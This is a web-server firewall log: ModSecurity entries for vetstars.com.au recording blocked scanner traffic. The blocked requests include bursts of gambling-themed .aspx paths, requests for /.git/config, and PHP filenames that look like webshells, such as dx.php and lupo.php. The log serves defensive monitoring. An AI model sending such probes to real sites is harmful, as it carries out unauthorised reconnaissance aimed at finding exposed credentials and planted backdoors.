[Thu Apr 16 01:05:10.338490 2026] [:error] [pid 30958:tid 31026] [client 67.144.16.170:58805] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "ad_FRseG3wSKTO7NWFEO8wAAAMo"]
[Thu Apr 16 01:05:12.865768 2026] [:error] [pid 30958:tid 31022] [client 67.144.16.170:58811] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "ad_FSMeG3wSKTO7NWFEPBAAAAMY"]
[Thu Apr 16 01:05:13.795688 2026] [:error] [pid 30958:tid 31016] [client 67.144.16.170:58814] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "ad_FSceG3wSKTO7NWFEPDAAAAMA"]
[Thu Apr 16 01:05:16.316728 2026] [:error] [pid 30957:tid 31011] [client 67.144.16.170:58827] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "ad_FTH5gwVEVXHfVSirb_gAAAFY"]
[Thu Apr 16 01:05:17.244819 2026] [:error] [pid 30957:tid 31012] [client 67.144.16.170:58832] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "ad_FTX5gwVEVXHfVSircAAAAAFc"]
[Thu Apr 16 01:05:19.575691 2026] [:error] [pid 30958:tid 31025] [client 67.144.16.170:58843] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ad_FT8eG3wSKTO7NWFEPJAAAAMk"]
[Thu Apr 16 01:05:20.488294 2026] [:error] [pid 30958:tid 31021] [client 67.144.16.170:58847] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ad_FUMeG3wSKTO7NWFEPLwAAAMU"]
[Thu Apr 16 01:05:23.072054 2026] [:error] [pid 23913:tid 23936] [client 67.144.16.170:58861] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "ad_FU1UaK3MLdSaLOygP7AAAAVU"]
[Thu Apr 16 01:05:23.995018 2026] [:error] [pid 31053:tid 31056] [client 67.144.16.170:58863] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "ad_FUxcEkLCmvF0fjDeDagAAAIA"]
[Thu Apr 16 01:05:26.526022 2026] [:error] [pid 23913:tid 23934] [client 67.144.16.170:58872] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ad_FVlUaK3MLdSaLOygP9QAAAVM"]
[Thu Apr 16 01:05:27.438642 2026] [:error] [pid 31053:tid 31074] [client 67.144.16.170:58875] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ad_FVxcEkLCmvF0fjDeDbwAAAJI"]
[Thu Apr 16 01:05:29.948486 2026] [:error] [pid 23913:tid 23938] [client 67.144.16.170:58886] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "ad_FWVUaK3MLdSaLOygQBQAAAVc"]
[Thu Apr 16 01:05:30.860630 2026] [:error] [pid 30958:tid 31036] [client 67.144.16.170:58891] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "ad_FWseG3wSKTO7NWFEPXQAAANQ"]
[Thu Apr 16 01:05:33.386695 2026] [:error] [pid 30958:tid 31029] [client 67.144.16.170:58904] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "ad_FXceG3wSKTO7NWFEPbQAAAM0"]
[Thu Apr 16 01:05:34.306947 2026] [:error] [pid 30958:tid 31021] [client 67.144.16.170:58906] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "ad_FXseG3wSKTO7NWFEPbwAAAMU"]
[Thu Apr 16 01:05:36.799115 2026] [:error] [pid 23913:tid 23917] [client 67.144.16.170:58915] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "ad_FYFUaK3MLdSaLOygQKgAAAUI"]
[Thu Apr 16 01:05:37.714712 2026] [:error] [pid 23913:tid 23938] [client 67.144.16.170:58920] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "ad_FYVUaK3MLdSaLOygQMAAAAVc"]
[Thu Apr 16 01:05:40.272971 2026] [:error] [pid 31053:tid 31062] [client 67.144.16.170:58928] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "ad_FZBcEkLCmvF0fjDeDfwAAAIY"]
[Thu Apr 16 01:05:41.185745 2026] [:error] [pid 37370:tid 37381] [client 67.144.16.170:58934] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "ad_FZXg-gnM2Ga0cGADCPAAAAQk"]
[Thu Apr 16 01:05:43.756495 2026] [:error] [pid 16664:tid 16720] [client 67.144.16.170:58944] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "ad_FZzdzt684awDJwRTeGwAAAYE"]
[Thu Apr 16 01:05:44.667946 2026] [:error] [pid 30958:tid 31018] [client 67.144.16.170:58946] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "ad_FaMeG3wSKTO7NWFEPngAAAMI"]
[Thu Apr 16 01:05:47.179732 2026] [:error] [pid 31053:tid 31061] [client 67.144.16.170:58955] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "ad_FaxcEkLCmvF0fjDeDiQAAAIU"]
[Thu Apr 16 01:05:48.093985 2026] [:error] [pid 37370:tid 37384] [client 67.144.16.170:58959] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "ad_FbHg-gnM2Ga0cGADCPwAAAQw"]
[Thu Apr 16 01:05:50.649605 2026] [:error] [pid 30958:tid 31020] [client 67.144.16.170:58970] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "ad_FbseG3wSKTO7NWFEPsgAAAMQ"]
[Thu Apr 16 01:05:51.561651 2026] [:error] [pid 23913:tid 23923] [client 67.144.16.170:58972] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "ad_Fb1UaK3MLdSaLOygQSgAAAUg"]
[Thu Apr 16 01:05:54.084226 2026] [:error] [pid 30958:tid 31035] [client 67.144.16.170:58983] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ad_FcseG3wSKTO7NWFEPygAAANM"]
[Thu Apr 16 01:05:54.996762 2026] [:error] [pid 30958:tid 31039] [client 67.144.16.170:58987] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ad_FcseG3wSKTO7NWFEP0AAAANc"]
[Thu Apr 16 01:06:52.063786 2026] [:error] [pid 37370:tid 37389] [client 67.144.16.170:59270] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ad_FrHg-gnM2Ga0cGADCXQAAARE"]
[Thu Apr 16 01:06:52.975594 2026] [:error] [pid 23913:tid 23916] [client 67.144.16.170:59274] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ad_FrFUaK3MLdSaLOygRBQAAAUE"]
[Thu Apr 16 01:06:55.475933 2026] [:error] [pid 23913:tid 23936] [client 67.144.16.170:59282] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ad_Fr1UaK3MLdSaLOygRFAAAAVU"]
[Thu Apr 16 01:06:56.388506 2026] [:error] [pid 23913:tid 23933] [client 67.144.16.170:59286] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ad_FsFUaK3MLdSaLOygRGwAAAVI"]
[Thu Apr 16 01:06:58.876602 2026] [:error] [pid 31053:tid 31065] [client 67.144.16.170:59296] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ad_FshcEkLCmvF0fjDeEBQAAAIk"]
[Thu Apr 16 01:06:59.789957 2026] [:error] [pid 23913:tid 23921] [client 67.144.16.170:59298] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ad_Fs1UaK3MLdSaLOygRRgAAAUY"]
[Thu Apr 16 01:07:02.287656 2026] [:error] [pid 37370:tid 37382] [client 67.144.16.170:59309] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ad_Ftng-gnM2Ga0cGADCcQAAAQo"]
[Thu Apr 16 01:07:03.198753 2026] [:error] [pid 16664:tid 16740] [client 67.144.16.170:59312] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ad_Ftzdzt684awDJwRTfQAAAAZU"]
[Thu Apr 16 02:30:22.690133 2026] [:error] [pid 54814:tid 54841] [client 20.168.159.162:13356] [client 20.168.159.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "ad_ZPjrHu_-tAAe-BOW4TAAAAZU"], referer: https://github.com/
[Thu Apr 16 02:32:03.162101 2026] [:error] [pid 34542:tid 34544] [client 172.215.217.96:56963] [client 172.215.217.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "ad_ZowdF4OGi-asleB6dAwAAAUA"]
[Thu Apr 16 02:43:18.007758 2026] [:error] [pid 792:tid 894] [client 91.200.101.138:57461] [client 91.200.101.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/graphql"] [unique_id "ad_cRt3PZ8z30TezIkZorgAAANA"]
[Thu Apr 16 03:52:56.346269 2026] [:error] [pid 57639:tid 57656] [client 135.232.220.245:63616] [client 135.232.220.245] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "ad_smKMCQoTw7TsxWumF8gAAAMo"], referer: https://outlook.live.com/
[Thu Apr 16 07:15:36.950956 2026] [:error] [pid 57537:tid 57597] [client 4.231.201.132:18123] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeAcGFVQRS8nm73ENAk9nQAAAFY"]
[Thu Apr 16 07:15:37.480469 2026] [:error] [pid 57639:tid 57667] [client 4.231.201.132:18159] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeAcGaMCQoTw7TsxWunWUQAAANU"]
[Thu Apr 16 07:15:38.014891 2026] [:error] [pid 29603:tid 29625] [client 4.231.201.132:18132] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeAcGlfGOR6fpTWUAzrdSgAAARQ"]
[Thu Apr 16 07:15:38.542655 2026] [:error] [pid 49094:tid 49100] [client 4.231.201.132:18121] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeAcGjbDwvcXorHR_MytygAAAUQ"]
[Thu Apr 16 07:15:39.081663 2026] [:error] [pid 49094:tid 49098] [client 4.231.201.132:18162] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aeAcGzbDwvcXorHR_MytywAAAUI"]
[Thu Apr 16 07:15:39.616998 2026] [:error] [pid 29603:tid 29616] [client 4.231.201.132:18115] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aeAcG1fGOR6fpTWUAzrdTQAAAQs"]
[Thu Apr 16 07:15:40.142298 2026] [:error] [pid 57538:tid 57621] [client 4.231.201.132:18143] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aeAcHMuMaiEF5SVR2BdHSQAAAJM"]
[Thu Apr 16 07:15:40.720799 2026] [:error] [pid 49094:tid 49102] [client 4.231.201.132:18173] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aeAcHDbDwvcXorHR_MytzwAAAUY"]
[Thu Apr 16 07:15:41.352171 2026] [:error] [pid 49094:tid 49100] [client 4.231.201.132:18065] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aeAcHTbDwvcXorHR_Myt3AAAAUQ"]
[Thu Apr 16 07:15:41.959052 2026] [:error] [pid 29603:tid 29617] [client 4.231.201.132:18127] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aeAcHVfGOR6fpTWUAzrdVQAAAQw"]
[Thu Apr 16 07:15:42.524029 2026] [:error] [pid 49094:tid 49107] [client 4.231.201.132:18138] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aeAcHjbDwvcXorHR_Myt4QAAAUs"]
[Thu Apr 16 07:15:43.110900 2026] [:error] [pid 49094:tid 49117] [client 4.231.201.132:18076] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aeAcHzbDwvcXorHR_Myt5QAAAVU"]
[Thu Apr 16 07:15:43.690774 2026] [:error] [pid 57639:tid 57650] [client 4.231.201.132:18139] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aeAcH6MCQoTw7TsxWunWVQAAAMQ"]
[Thu Apr 16 07:15:44.249312 2026] [:error] [pid 57639:tid 57662] [client 4.231.201.132:18066] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aeAcIKMCQoTw7TsxWunWVgAAANA"]
[Thu Apr 16 07:15:44.804141 2026] [:error] [pid 49094:tid 49099] [client 4.231.201.132:18074] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aeAcIDbDwvcXorHR_Myt6QAAAUM"]
[Thu Apr 16 07:15:45.378213 2026] [:error] [pid 57639:tid 57647] [client 4.231.201.132:18129] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aeAcIaMCQoTw7TsxWunWWQAAAME"]
